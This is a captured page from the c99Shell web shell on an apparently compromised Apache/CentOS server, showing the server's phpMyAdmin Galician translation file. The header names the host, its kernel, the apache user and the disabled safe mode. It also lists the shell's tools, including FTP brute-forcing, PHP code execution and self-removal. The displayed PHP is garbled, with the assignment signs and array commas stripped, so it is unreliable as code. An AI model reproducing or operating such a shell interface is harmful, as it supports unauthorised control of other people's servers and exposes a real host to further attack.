!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/lang/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     galician-utf-8.inc.php (66.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: galician-utf-8.inc.php,v 2.129.2.5 2006/04/11 14:11:46 nijel Exp $ */

/**
 * Translated by Xosé Calvo <xosecalvo at terra.es>
 */

$charset 'utf-8';
$allow_recoding TRUE;
$text_dir 'ltr';
$left_font_family 'verdana, arial, helvetica, geneva, sans-serif';
$right_font_family 'arial, helvetica, geneva, sans-serif';
$number_thousands_separator '.';
$number_decimal_separator ',';
// shortcuts for Byte, Kilo, Mega, Giga, Tera, Peta, Exa
$byteUnits = array('Bytes''KB''MB''GB''TB''PB''EB');

$day_of_week = array('Sun''Mon''Tue''Wed''Thu''Fri''Sat');
$month = array('Jan''Feb''Mar''Apr''May''Jun''Jul''Aug''Sep''Oct''Nov''Dec');
// See http://www.php.net/manual/en/function.strftime.php to define the
// variable below
$datefmt '%d de %B de %Y Ã¡s %H:%M';

$timespanfmt '%s días, %s horas, %s minutos e %s segundos';

$strAbortedClients 'Cancelado';
$strAbsolutePathToDocSqlDir 'Introduza a rota absoluta completa ao directorio docSQL no servidor';
$strAccessDenied 'Acceso Negado';
$strAccessDeniedCreateConfig 'Isto débese, posibelmente, a que non creou un ficheiro de configuración. Talvez queira utilizar %1$ssetup script%2$s para crear un.';
$strAccessDeniedExplanation 'O phpMyAdmin tentouse conectar ao servidor de MySQL, mais o servidor rexeitou a conexión. Deberá comprobar o nome do servidor, o nome de usuario e o contrasinal no ficheiro config.inc.php e asegurarse de que corresponden coa información proporcionada polo administrador do servidor do MySQL.';
$strAction 'Acción';
$strAddAutoIncrement 'Engadir o valor incremental (AUTO_INCREMENT)';
$strAddConstraints 'Adicionar limitacións';  
$strAddDeleteColumn 'Adicionar/Eliminar columnas de campo';
$strAddDeleteRow 'Adicionar/Eliminar filas de criterios';
$strAddDropDatabase 'Engadir "Eliminar a base de datos" (DROP DATABASE)';
$strAddedColumnComment 'Púxoselle un comentario á columna';
$strAddedColumnRelation 'Adicionóuselle unha relación á columna';
$strAddFields 'Adicionar %s campo(s)';
$strAddHeaderComment 'Adicionar un comentario proprio no cabezallo (\n liñas diferentes)';
$strAddIfNotExists 'Adicionar SE NON EXISTIR';  
$strAddIntoComments 'Engadir aos comentarios';
$strAddNewField 'Adicionar un novo campo';
$strAddPrivilegesOnDb 'Adicionar privilexios para a esta base de datos';
$strAddPrivilegesOnTbl 'Adicionar privilexios para a esta tabela';
$strAddSearchConditions 'Condición da pesquisa (ou sexa, o complemento da cláusula "WHERE"):';
$strAddToIndex 'Adicionar ao índice &nbsp;%s&nbsp;coluna(s)';
$strAddUser 'Adicionar un novo usuario';
$strAddUserMessage 'Usuario adicionado.';
$strAdministration 'Administración';
$strAffectedRows 'Fileiras que se verán afectadas:';
$strAfter 'Despois de %s';
$strAfterInsertBack 'Voltar';
$strAfterInsertNewInsert 'Inserir un novo rexistro';
$strAfterInsertNext 'Modificar a fileira seguinte';
$strAfterInsertSame 'Voltar para esta páxina';  
$strAllowInterrupt 'Permitir que se interrumpa a importación no caso de que o guión detecte que está perto do limite. Este podería ser un bon método para importar ficheiros longos, ainda que pode rachar transaccións.';
$strAllTableSameWidth 'mostrar todas as tabelas co mesmo ancho?';
$strAll 'Todos';
$strAlterOrderBy 'Ordenar a tabela por';
$strAnalyzeTable 'Analizar a tabela';
$strAnd 'E';
$strAndThen 'e despois';
$strAnIndex 'Adicionouse un índice a %s';
$strAny 'Calquer';
$strAnyHost 'Calquer servidor';
$strAnyUser 'Calquer usuario';
$strApproximateCount 'Pode ser aproximado. Consulte a FAQ 3.11';
$strAPrimaryKey 'Adicionouse unha chave primaria a %s';
$strArabic 'Árabe';
$strArmenian 'Armenio';
$strAscending 'Ascendente';
$strAtBeginningOfTable 'No comezo da tabela';
$strAtEndOfTable 'Ao final da tabela';
$strAttr 'Atributos';
$strAutodetect 'Autodetectar';
$strAutomaticLayout 'Distribución automática';

$strBack 'Voltar';
$strBaltic 'Báltico';
$strBeginCut 'COMEZA O RECORTE';
$strBeginRaw 'COMEZA O TEXTO SIMPLE ("RAW")';
$strBinary ' Binario ';
$strBinaryDoNotEdit ' Binario - non editar ';
$strBinaryLog 'Ficheiro de rexistro binario';
$strBinLogEventType 'Tipo de evento';
$strBinLogInfo 'Información';
$strBinLogName 'Nome do ficheiro de rexistro';
$strBinLogOriginalPosition 'Posición orixinal';
$strBinLogPosition 'Posición';
$strBinLogServerId 'ID do servidor';
$strBookmarkAllUsers 'Permitir que calquer usuario poida acceder a este marcador';  
$strBookmarkCreated 'Creouse o marcador %s';
$strBookmarkDeleted 'Eliminouse o marcador.';
$strBookmarkLabel 'Nome';
$strBookmarkQuery 'A procura de SQL foi gardada';
$strBookmarkReplace 'Substituir un marcador xa existente que ten o mesmo nome';
$strBookmarkThis 'Gardar esta procura de SQL';
$strBookmarkView 'Só visualizar';
$strBrowseDistinctValues 'Examinar valores claramente distintos';
$strBrowseForeignValues 'Visualizar valores alleos';
$strBrowse 'Visualizar';
$strBufferPoolActivity 'Actividade da reserva da memoria intermedia';
$strBufferPool 'Reserva da memoria intermedia';
$strBufferPoolUsage 'Uso da reserva da memoria intermedia';
$strBufferReadMisses 'Fallos de lectura';
$strBufferReadMissesInPercent 'Fallos de lectura en %';
$strBufferWriteWaits 'Esperas para escreber';
$strBufferWriteWaitsInPercent 'Esperas para escreber en %';
$strBulgarian 'Búlgaro';
$strBusyPages 'Páxinas ocupadas';
$strBzError 'phpMyAdmin foi incapaz de comprimir os resultados debido a que esta versión do php ten unha extensión de Bz2 con erros.  Recoméndase que configure a directiva <code>$cfg[\'BZipDump\']</code> do seu ficheiro de configuración do phpMyAdmin para que sexa <code>FALSE</code>. Se quer usar a funcionalidade de compresión Bz2, actualice a unha versión posterior do php. Consulte o informe de erros %s para máis detalles.';
$strBzip 'comprimido no formato "bzip"';

$strCalendar 'Calendario';  
$strCanNotLoadImportPlugins 'Non se puideron importar as extensións - Comprobe a súa instalación!';
$strCannotLogin 'Non podo conectar co servidor de MySQL';
$strCantLoad 'Non se pode carregar a extensión %s.<br />Comprobe a configuración do PHP.';
$strCantLoadRecodeIconv 'Non se puido carregar iconv ou precísase da extensión recode para a conversión do charset. Configure o php para que se poidan usar estas extensións ou indique que non se use a conversión de charset en phpMyAdmin.';
$strCantRenameIdxToPrimary 'Non se pode facer que este índice sexa PRIMARIO!';
$strCantUseRecodeIconv 'Non se puido usar nen iconv nen libiconv nen a función recode_stringf mentres haxa extensións por carregar. Comprobe a súa configuración do php.';
$strCardinality 'Cardinalidade';
$strCaseInsensitive 'sen distinguir maiúsculas de minúsculas';
$strCaseSensitive 'distinguindo maiúsculas de minúsculas';
$strCentralEuropean 'Centroeuropeu';
$strChangeCopyModeCopy '... manter o anterior.';
$strChangeCopyMode 'Crear un utilizador novo cos mesmos privilexios e...';
$strChangeCopyModeDeleteAndReload ' ... eliminar o anterior das tabelas de utilizadores e recarregar os privilexios despóis.';
$strChangeCopyModeJustDelete ' ... eliminar o anterior das tabelas de utilizadores.';
$strChangeCopyModeRevoke ' ... retirar-lle todos os privilexios activos ao anterior e eliminalo despóis.';
$strChangeCopyUser 'Modificar a información de acceso (login) / Copiar utilizador';
$strChangeDisplay 'Escolla o campo que se há de mostrar';
$strChange 'Mudar';
$strChangePassword 'Trocar o contrasinal';
$strCharset 'Conxunto de caracteres';
$strCharsetOfFile 'Conxunto de caracteres do ficheiro:';
$strCharsetsAndCollations 'Conxuntos de caracteres e Ordes alfabéticas';
$strCharsets 'Conxuntos de caracteres';
$strCheckAll 'Marcá-los todos';
$strCheckOverhead 'Exceso na comprobación';  
$strCheckPrivs 'Comprobar os privilexios';
$strCheckPrivsLong 'Comprobar os privilexios da base de datos &quot;%s&quot;.';
$strCheckTable 'Verificar a tabela';
$strChoosePage 'Escolla unha páxina para modificar';
$strColComFeat 'Mostrando os comentarios das columnas';
$strCollation 'Orde alfabética';
$strColumnNames 'Nomes das Columnas';
$strColumnPrivileges 'Privilexios proprios de columna';
$strCommand 'Comando';
$strComments 'Comentarios';
$strCommentsForTable 'COMENTARIOS PARA A TABELA';  
$strCompatibleHashing 'Compatíbel co MySQL&nbsp;4.0';
$strCompleteInserts 'Insercións completas';
$strCompression 'Compresión';
$strCompressionWillBeDetected 'A compresión do ficheiro importado detectarase automaticamente de: %s';
$strConfigDefaultFileError 'Non se puido carregar a configuración desde: "%1$s"';
$strConfigFileError 'phpMyAdmin non puido ler o seu ficheiro de configuración<br/>Isto podería deberse a que php atopou un erro nel ou a que php non puido atopar o ficheiro.<br/>Invoque o ficheiro de configuración directamente mediante o vínculo que hai máis abaixo e lea a mensaxe de erro de php que receba. Na maioría dos casos simplesmente faltan unha aspa ou un ponto e vírcula <br/>Se recebe unha páxina en branco é que todo está ben.';
$strConfigureTableCoord 'Configure as coordenadas da tabela %s';
$strConnectionError 'Non se pode conectar: os axustes non son válidos.';  
$strConnections 'Conexións';
$strConstraintsForDumped 'Limitacións para os volcados das tabelas';  
$strConstraintsForTable 'Limitacións para a tabela';  
$strCookiesRequired 'A partir de aqui debe permitir cookies.';
$strCopy 'Copiar';
$strCopyDatabaseOK 'A base de dastos %s copiouse para %s';
$strCopyTable 'Copiar a tabela a (base_de_datos<b>.</b>tabela):';
$strCopyTableOK 'A tabela \$table copiouse para \$new_name.';
$strCopyTableSameNames 'Non se pode copiar unha tabela sobre si mesma';
$strCouldNotKill 'phpMyAdmin foi incapaz de finalizar o fío %s.  Probablemente xa está fechado.';
$strCreate 'Crear';
$strCreateDatabaseBeforeCopying 'CREAR BASE DE DATOS antes de copiar';
$strCreateIndex 'Crear un índice en&nbsp;%s&nbsp;colunas';
$strCreateIndexTopic 'Crear un novo índice';
$strCreateNewDatabase 'Crear unha nova base de datos';
$strCreateNewTable 'Crear unha tabela nova na base de datos %s';
$strCreatePage 'Crear unha páxina nova';
$strCreatePdfFeat 'Creación de PDFs';
$strCreationDates 'Datas de creación/actualización/comprobación';  
$strCriteria 'Criterio';
$strCroatian 'Croata';
$strCSV 'CSV';
$strCSVImportOptions 'Opcións de CSV';
$strCSVOptions 'Opcións CSV';
$strCyrillic 'Cirílico';
$strCzech 'Checo';
$strCzechSlovak 'Checo-eslovaco';  

$strDanish 'Dinamarqués';
$strDatabase 'Banco de Datos';
$strDatabaseEmpty 'O nome da base de datos non existe!';  
$strDatabaseExportOptions 'Opcións de exportación da base de datos';
$strDatabaseHasBeenDropped 'A base de datos %s foi eliminada.';
$strDatabaseNoTable 'Esta base de datos non contén nengunha tabela';
$strDatabases 'Bancos de Datos';
$strDatabasesDropped 'Elimináronse %s bases de datos sen problemas.';
$strDatabasesStatsDisable 'Deshabilitar as estatísticas';
$strDatabasesStatsEnable 'Habilitar as estatísticas';
$strDatabasesStats 'Estatísticas das bases de datos';
$strDatabasesStatsHeavyTraffic 'Nota: De habilitar as estatísticas da base de datos, ocasionará que se produza un tráfico denso entre o servidor web e o de MySQL.';
$strData 'Datos';
$strDataDict 'Dicionario de datos';
$strDataOnly 'Só os datos';
$strDataPages 'Páxinas con datos';
$strDBComment 'Comentario da base de datos: ';
$strDBCopy 'Copiar a base de datos para';
$strDBGContext 'Contexto';
$strDBGContextID 'ID do contexto';
$strDBGHits 'Hits';
$strDBGLine 'Liña';
$strDBGMaxTimeMs 'Tempo máximo, ms';
$strDBGMinTimeMs 'Tempo mínimo, ms';
$strDBGModule 'Módulo';
$strDBGTimePerHitMs 'Tempo/Hit, ms';
$strDBGTotalTimeMs 'Tempo total, ms';
$strDbPrivileges 'Privilexios proprios de base de datos';
$strDBRename 'Mudar o nome da base de datos para';  
$strDbSpecific 'específico da base de datos';
$strDefaultEngine '%s é o motor de armacenamento predefinido neste servidor de MySQL.';
$strDefault 'Padrón';
$strDefaultValueHelp 'Para os valores por omisión, introduza un único valor, sen escapalo con barras ou aspas e usando este formato: a';
$strDefragment 'Tabela de defragmentación';  
$strDelayedInserts 'Usar insercións demoradas';  
$strDeleteAndFlushDescr 'Este é o modo máis limpo, mais pode que recarregar os privilexios leve un pouco de tempo.';
$strDeleteAndFlush 'Eliminar os usuarios e recarregar os privilexios a continuación.';
$strDeleted 'Rexistro eliminado';
$strDeletedRows 'Fileiras borradas:';
$strDelete 'Eliminar';
$strDeleteNoUsersSelected 'Non se seleccionaron utilizadores para eliminar!';
$strDeleting 'A eliminar %s';
$strDelOld 'Esta páxina ten referencias a tabelas que xa non existen. Quere eliminar esas referencias?';
$strDescending 'Descendente';
$strDescription 'Descrición';
$strDictionary 'dicionario';
$strDirtyPages 'Páxinas suxas';
$strDisabled 'Desactivado';
$strDisableForeignChecks 'Desabilitar as comprobacións de chaves exteriores';  
$strDisplayFeat 'Mostrar as características';
$strDisplayOrder 'Mostrar en orde:';
$strDisplayPDF 'Mostrar o esquema PDF';
$strDoAQuery 'Faga unha "procura por exemplo" (o comodín é "%")';
$strDocu 'Documentación';
$strDoYouReally 'Seguro? ';
$strDropDatabaseStrongWarning 'Está a piques de DESTRUIR unha base de datos inteira!';  
$strDrop 'Eliminar';
$strDropUsersDb 'Eliminar as bases de datos que teñan os mesmos nomes que os usuarios.';
$strDumpingData 'Extraindo datos da tabela';
$strDumpSaved 'O vaciado gardouse no ficheiro %s.';
$strDumpXRows 'Pór %s fileiras a partir da fileira %s.';
$strDynamic 'dinámico';

$strEdit 'Modificar';
$strEditPDFPages 'Editar as páxinas PDF';
$strEditPrivileges 'Modificar privilexios';
$strEffective 'Efectivo';
$strEmpty 'Borrar';
$strEmptyResultSet 'MySQL retornou un conxunto vacío (ex. cero rexistros).';
$strEnabled 'Activado';
$strEncloseInTransaction 'Incluir a exportación nunha transacción';  
$strEndCut 'FIN DO RECORTE';
$strEnd 'Fin';
$strEndRaw 'FIN DO TEXTO SIMPLE ("RAW")';
$strEngineAvailable '%s está disponíbel neste servidor de MySQL.';
$strEngineDisabled '%s foi desactivado neste servidor de MySQL.';
$strEngines 'Motores';
$strEngineUnsupported 'Este servidor de MySQL non acepta o motor de armacenamento %s.';
$strEnglish 'Inglés';
$strEnglishPrivileges ' Nota: os nomes de privilexios do MySQL están en inglés';
$strError 'Erro';
$strErrorInZipFile 'Erro no ficheiro ZIP:';
$strEscapeWildcards 'Os caracteres comodín _ e % deberíanse escapar con \ para podelos usar literalmente';
$strEsperanto 'Esperanto';
$strEstonian 'Estonio';
$strExcelEdition 'Edición mediante MS-Excel';  
$strExcelOptions 'Opcións de Excel';
$strExecuteBookmarked 'Efectuar a procura gardada';
$strExplain 'Explicar SQL';
$strExport 'Exportar';
$strExtendedInserts 'Insercións extendidas';
$strExtra 'Extra';

$strFailedAttempts 'Tentativas falidas';
$strField 'Campo';
$strFieldHasBeenDropped 'Eliminouse o campo %s';
$strFields 'Campos';
$strFieldsEmpty ' O reconto de campos di que non hai nengún! ';
$strFieldsEnclosedBy 'Os campos delimítanse con';
$strFieldsEscapedBy 'Os campos escápanse con';
$strFieldsTerminatedBy 'Os campos rematan por';
$strFileAlreadyExists 'O ficheiro %s xa existe no servidor - escolla outro nome ou seleccione a opción de eliminar.';
$strFileCouldNotBeRead 'Non se puido ler o ficheiro';
$strFileNameTemplateDescriptionDatabase 'nome da base de datos';
$strFileNameTemplateDescription 'Este valor interprétase utilizando %1$sstrftime%2$s, de maneira que pode utilizar cadeas de formato de hora. Produciranse transformacións en consecuencia: %3$s. O resto do texto ficará como está.';
$strFileNameTemplateDescriptionServer 'nome do servidor';
$strFileNameTemplateDescriptionTable 'nome da tabela';
$strFileNameTemplate 'Modelo para o nome de ficheiro';
$strFileNameTemplateRemember 'lembrar o modelo';
$strFileToImport 'Ficheiro a importar';
$strFixed 'fixo';
$strFlushPrivilegesNote 'Nota: phpMyAdmin recolle os privilexios dos usuarios directamente das tabelas de privilexios do MySQL. O contido destas tabelas pode diferir dos privilexios que usa o servidor se se levaron a cabo alteracións manuais.  Neste caso, debería %svolver a carregar os privilexios%s antes de proseguir.';
$strFlushQueryCache 'Limpar a caché da pesquisa';
$strFlushTable 'Fechar a tabela ("FLUSH")';
$strFlushTables 'Limpar (fechar) todas as tabelas';
$strFormat 'Formato';
$strFormEmpty 'Falta un valor no formulario!';
$strFreePages 'Páxinas libres';
$strFullText 'Textos completos';
$strFunction 'Funcións';

$strGenBy 'Xerado por';
$strGeneralRelationFeat 'Características xerais das relacións';
$strGeneratePassword 'Xerar un contrasinal';
$strGenerate 'Xerar';
$strGenTime 'Xerado en';
$strGeorgian 'Xeorxiano';  
$strGerman 'Alemán';
$strGlobal 'global';
$strGlobalPrivileges 'Privilexios globais';
$strGlobalValue 'Valor global';
$strGo 'Executar';
$strGrantOption 'Conceder';
$strGreek 'Grego';
$strGzip 'comprimido no formato "gzip"';

$strHandler 'Manipulador';
$strHasBeenAltered 'foi alterado.';
$strHasBeenCreated 'foi creado.';
$strHaveToShow 'Ten que escoller polo menos unha columna para mostrar';
$strHebrew 'Hebreu';
$strHexForBinary 'Usar hexadecimal para os campos binários';  
$strHome 'Comezo ("Home")';
$strHomepageOfficial 'Páxina Oficial do phpMyAdmin';
$strHostEmpty 'O nome do servidor está vacío!';
$strHost 'Servidor';
$strHTMLExcel 'Microsoft Excel 2000';
$strHTMLExcelOptions 'Opcións de exportación do Microsoft Excel 2000';
$strHTMLWord 'Microsoft Word 2000';
$strHTMLWordOptions 'Opcións de exportación do Microsoft Word 2000';
$strHungarian 'Húngaro';

$strIcelandic 'Islandés';
$strId 'ID';
$strIdxFulltext 'Texto completo';
$strIgnoreDuplicates 'Ignorar as fileiras duplicadas';
$strIgnore 'Ignorar';
$strIgnoreInserts 'Usar insercións ignoradas';  
$strIgnoringFile 'A ignorar o ficheiro %s';
$strImportDocSQL 'Importar ficheiros de docSQL';
$strImportFiles 'Importar ficheiros';
$strImportFormat 'Formato do ficheiro importado';
$strImport 'Importar';
$strImportSuccessfullyFinished 'A importación rematou sen problemas. Executáronse %d procuras.';
$strIndexes 'Índices';
$strIndexHasBeenDropped 'Eliminouse o índice %s';
$strIndexName 'Nome do índice&nbsp;:';
$strIndex 'Índice';
$strIndexType 'Tipo de índice&nbsp;:';
$strIndexWarningMultiple 'Creouse máis dunha chave %s para a columna `%s`';
$strIndexWarningPrimary 'Non se lle deberían asignar ambas as dúas chaves PRIMARY e INDEX á columna `%s`';
$strIndexWarningTable 'Problemas cos índices da tabela `%s`';
$strIndexWarningUnique 'Non se lle deberían asignar ambas as dúas chaves UNIQUE e INDEX á columna `%s`';
$strInnoDBAutoextendIncrementDesc ' Tamaño do incremento para extender o tamaño dun espazo de tabela cando se encha.';
$strInnoDBAutoextendIncrement 'Incremento de Autoextend';
$strInnoDBBufferPoolSizeDesc 'Tamaño da memoria intermedia que usa InnoDB para gardar provisoriamente os datos e índices das súas tabelas.';
$strInnoDBBufferPoolSize 'Tamaño da reserva da memoria intermedia';
$strInnoDBDataFilePath 'Ficheiros de datos';
$strInnoDBDataHomeDirDesc 'Parte común do camiño do directorio que ten todos os ficheiros de datos de innoDB.';
$strInnoDBDataHomeDir 'Directorio base dos datos';
$strInnoDBPages 'páxinas';
$strInnodbStat 'Estado de InnoDB';
$strInsecureMySQL 'O seu ficheiro de configuración contén axustes (en concreto, o usuário root non ten contrasinal) que corresponden coa conta con todos os privilexios que MySQL fai por omisión. O seu servidor de MySQL está a rodar con esta configuración, está aberto a intrusións e habería que mirar de solucionar este problema de seguranza.';
$strInsertAsNewRow 'Inserir unha nova columna';
$strInsertedRowId 'Identificador da fileira inserida:';
$strInsertedRows 'Fileiras inseridas:';
$strInsert 'Inserir';
$strInsertNewRow 'Inserir un novo rexistro';
$strInternalNotNecessary '* Non se precisa dunha relación interna cando existe tamén en InnoDB.';  
$strInternalRelations 'Relacións internas';  
$strInUse 'en uso';
$strInvalidAuthMethod 'Na configuración indicouse un método de autenticación non válido::';
$strInvalidColumnCount 'O número de columnas ten que ser maior de cero';
$strInvalidColumn 'Especificouse unha columna non válida (%s)!';
$strInvalidCSVFieldCount 'Contaxe de campos non válida na entrada de CSV na liña %d.';
$strInvalidCSVFormat 'Formato de entrada de CSV non válido na liña %d.';
$strInvalidCSVParameter 'Parámetro non válido para a importación de CSV: %s';
$strInvalidFieldAddCount 'Ten que engadir un campo polo menos';
$strInvalidFieldCount 'A tabela ha de ter, polo menos, un campo.';
$strInvalidLDIImport 'Esta extensión non é capaz de realizar importacións comprimidas!';
$strInvalidRowNumber '%d non é un número de fileira válido.';
$strInvalidServerHostname 'Nome de servidor non válido para o servidor %1$s. Revise a configuración.';
$strInvalidServerIndex 'Índice do servidor non válido: "%s"';

$strJapanese 'Xaponés';
$strJoins 'Unións';
$strJumpToDB 'Saltar à base de datos &quot;%s&quot;.';
$strJustDeleteDescr 'Os usuarios &quot;eliminados&quot; poderán ainda acceder ao servidor como sempre atá que se recarreguen os privilexios.';
$strJustDelete 'Elimine só os usuarios das tabelas de privilexios.';

$strKeepPass 'Non mude o contrasinal';
$strKeyCache 'caché da chave';
$strKeyname 'Nome chave';
$strKill 'Matar (kill)';
$strKorean 'Coreano';

$strLandscape 'Horizontal';
$strLanguageFileNotFound 'Non se atopou o ficheiro da lingua "%1$s".';
$strLanguageUnknown 'Linguaxe descoñecida: %1$s.';
$strLatchedPages 'Páxinas fechadas';
$strLatexCaption 'Título da tabela';
$strLatexContent 'Contido da tabela __TABLE__';
$strLatexContinuedCaption 'Título da tabela continuado';
$strLatexContinued '(continuado)';
$strLatexIncludeCaption 'Incluir o título da tabela';
$strLatexLabel 'Chave da etiqueta';
$strLaTeX 'LaTeX';
$strLaTeXOptions 'Opcións para LaTeX';
$strLatexStructure 'Estrutura da tabela __TABLE__';
$strLatvian 'Letonio';
$strLDI 'CSV utilizando LOAD DATA';
$strLDIImportOptions 'Opcións para a importación de CSV utilizando LOAD DATA';
$strLDILocal 'Utilice a palabra chave LOCAL';
$strLengthSet 'Tamaño/Definir*';
$strLimitNumRows 'Número de rexistros por páxina:';
$strLinesTerminatedBy 'As liñas rematan por';
$strLinkNotFound 'Non se atopou o vínculo';
$strLinksTo 'Vincúlase con';
$strLithuanian 'Lituano';
$strLocalhost 'Local';
$strLocationTextfile 'Localización do arquivo de texto';
$strLogin 'Entrada (login)';
$strLoginInformation 'Información sobre o acceso (login)';
$strLogout 'Sair';
$strLogPassword 'Contrasinal:';
$strLogServer 'Servidor';  
$strLogUsername 'Nome de usuario:';
$strLongOperation 'Esta operación pode que leve moito tempo. Procésase igual?';

$strMaxConnects 'conexións simultáneas máximas';
$strMaximalQueryLength 'Lonxitude máxima da procura creada';
$strMaximumSize 'Tamaño máximo: %s%s';  
$strMbExtensionMissing 'Non se atopou a extensión mbstring PHP e parece que está a usar un conxunto de caracteres multibyte. Sen a extensión mbstring, o phpMyAdmin é incapaz de partir cadeas correctamente e pode provocar resultados inesperados.';
$strMbOverloadWarning 'Ten activada mbstring.func_overload na configuración do PHP. Esta opción é incompatíbel co phpMyAdmin e podería ocasionar danos nos datos';
$strMIME_available_mime 'Tipos MIME disponíbeis';
$strMIME_available_transform 'Transformacións disponíbeis';
$strMIME_description 'Descrición';
$strMIME_MIMEtype 'Tipo MIME';
$strMIME_nodescription 'Non existe descrición desta transformación.<br />Pergunte-lle ao autor que é o que fai %s.';
$strMIME_transformation_note 'Para unha lista das opcións de transformación disponíbeis e as súas transformacións de tipos MIME, faga clic sobre  %sdescricións de transformacións%s';
$strMIME_transformation_options_note 'Introduza os valores das opcións de transformación usando este formato:\'a\',\'b\',\'c\'...<br />Se necesita introducir unha barra para trás ("\") ou aspas simples ("\'") entre estes valores, preceda-os de barra para trás (por exemplo \'\\\\xyz\' ou \'a\\\'b\').';
$strMIME_transformation_options 'Opcións de transformación';
$strMIME_transformation 'Transformación do navegador';
$strMIMETypesForTable 'TIPOS MIME PARA A TABELA';  
$strMIME_without 'Os tipos MIME en cursiva non contan cunha función de transformación separada';
$strModifications 'As modificacións foron gardadas';
$strModifyIndexTopic 'Modificar un índice';
$strModify 'Modificar';
$strMoveTable 'Mover a tabela a (base_de_datos<b>.</b>tabela):';
$strMoveTableOK 'Moveuse a tabela %s para %s.';
$strMoveTableSameNames 'Non se pode mover unha tabela sobre si mesma';
$strMultilingual 'multilíngüe';
$strMyISAMDataPointerSizeDesc 'O tamaño por omisión do punteiro de datos en bytes; usarase con CREATE TABLE para tabelas MyISAM cando non se especifique a opción MAX_ROWS.';
$strMyISAMDataPointerSize 'Tamaño do punteiro de datos';
$strMyISAMMaxExtraSortFileSizeDesc 'Se o ficheiro temporario usado para a creación rápida dun índice de MyISAM for máis grande que se se usar o caché de chaves na cantidade que se especifique aquí, preferir o método da caché de chaves.';
$strMyISAMMaxExtraSortFileSize 'Tamaño máixmo dos ficheiros temporarios no momento de crear índices';
$strMyISAMMaxSortFileSizeDesc 'O tamaño máximo do ficheiro temporario que se lle permite utilizar a MySQL no momento de recrear un índice MyISAM (durante REPAIR TABLE, ALTER TABLE, ou LOAD DATA INFILE).';
$strMyISAMMaxSortFileSize 'Tamaño máximo dos ficheiros de ordenación temporarios';
$strMyISAMRecoverOptionsDesc 'O modo de recuperación automática de tabelas MyISAM escaralladas, tal e como se configura na opción de inicio do servidor --myisam-recover.';
$strMyISAMRecoverOptions 'Modo de recuperación automática';
$strMyISAMRepairThreadsDesc 'Se este valor é maior que 1, os índices das tabelas MyISAM créanse en paralelo (cada índice no seu propio fío) durante o proceso Reparar ordenando.';
$strMyISAMRepairThreads 'Reparar os fíos';
$strMyISAMSortBufferSizeDesc 'Cantidade de memoria intermedia que se reserva ao ordenar os índices MyISAM durante unha instrución REPAIR TABLE ou ao crear índices con CREATE INDEX ou ALTER TABLE.';
$strMyISAMSortBufferSize 'Tamaño da memoria intermedia de ordenación';
$strMySQLCharset 'Código de caracteres (Charset) MySQL';
$strMysqlClientVersion 'Versión do cliente de MySQL';
$strMySQLConnectionCollation 'Codificación de caracteres (Collation) da conexión de MySQL';
$strMySQLSaid 'Mensaxes do MySQL: ';
$strMySQLShowProcess 'Mostrar os procesos';
$strMySQLShowStatus 'Mostrar información de tempo de execución do MySQL';
$strMySQLShowVars 'Mostrar as variábeis de sistema do MySQL';

$strName 'Nome';
$strNext 'Seguinte';
$strNoActivity 'Non se rexistrou actividade algunha desde hai %s segundos ou máis. Terá que entrar de novo';
$strNoDatabases 'Non hai nengunha base de datos';
$strNoDatabasesSelected 'Non hai nengunha base de datos seleccionada.';
$strNoDescription 'sen descrición';
$strNoDetailsForEngine 'Non se conta con información de estado detallada sobre este motor de armacenamento.';
$strNoDropDatabases 'Os comandos "Eliminar a base de datos" non están permitidos.';
$strNoExplain 'Saltar a explicacion de SQL';
$strNoFilesFoundInZip 'Non se atoparon ficheiros dentro do arquivo ZIP!';
$strNoFrames 'phpMyAdmin usa-se mellor cun navegador que <b>acepte molduras</b>.';
$strNoIndex 'Non se definiu un índice';
$strNoIndexPartsDefined 'Non se definiron partes do índice';
$strNoModification 'Sen cambios';
$strNone 'Nengun';
$strNo 'Non';
$strNoOptions 'Este formato non ten opcións';
$strNoPassword 'Sen Contrasinal';
$strNoPermission 'O servidor web non ten permiso para gardar o ficheiro %s.';
$strNoPhp 'sen código PHP';
$strNoPrivileges 'Sen Privilexios';
$strNoRights 'Non ten direitos suficientes para estar aquí agora!';
$strNoRowsSelected 'Non hai fileiras seleccionadas';  
$strNoSpace 'Non hai espacio para gardar o ficheiro %s.';
$strNoTablesFound 'Non se achou nengunha tabela na base de datos';
$strNoThemeSupport 'Non ten a funcionalidade dos temas. Comprobe a configuración e/ou os seus temas no directorio %s.';
$strNothingToImport 'Non introduciu os datos que quería importar!';
$strNotNumber 'Non é un número!';
$strNotOK 'non conforme';
$strNotSet 'Non se atopou a tabela <b>%s</b>ou non se indicou en %s';
$strNoUsersFound 'Non se achou nengun(s) usuario(s).';
$strNoValidateSQL 'Saltarse a validacion de';
$strNull 'Nulo';
$strNumberOfFields 'Número de campos';
$strNumSearchResultsInTable '%s ocorrencias(s) dentro da tabela <i>%s</i>';
$strNumSearchResultsTotal '<b>Total:</b> <i>%s</i> ocorrencia(s)';
$strNumTables 'Tabelas';

$strOK 'Conforme';
$strOpenNewWindow 'Abrir unha xanela nova co phpMyAdmin';
$strOperations 'Operacións';
$strOperator 'Operador';  
$strOptimizeTable 'Optimizar a tabela';
$strOr 'ou';
$strOverhead 'De máis (Overhead)';
$strOverwriteExisting 'Eliminar o(s) ficheiro(s) xa existente(s)';

$strPageNumber 'Número de páxina:';
$strPagesToBeFlushed 'Páxinas que se eliminarán';
$strPaperSize 'Tama?o do papel';
$strPartialImport 'Importación parcial';
$strPartialText 'Textos parciais';
$strPasswordChanged 'Modificou-se sen problemas o contrasinal de %s.';
$strPassword 'Contrasinal';
$strPasswordEmpty 'O contrasinal está vacío!';
$strPasswordHashing 'Hash do contrasinal';
$strPasswordNotSame 'Os contrasinais non son os mesmos!';
$strPdfDbSchema 'Esquema da base de datos "%s" - Páxina %s';
$strPdfInvalidTblName 'Non existe a tabela "%s".';
$strPdfNoTables 'Sen tabelas';
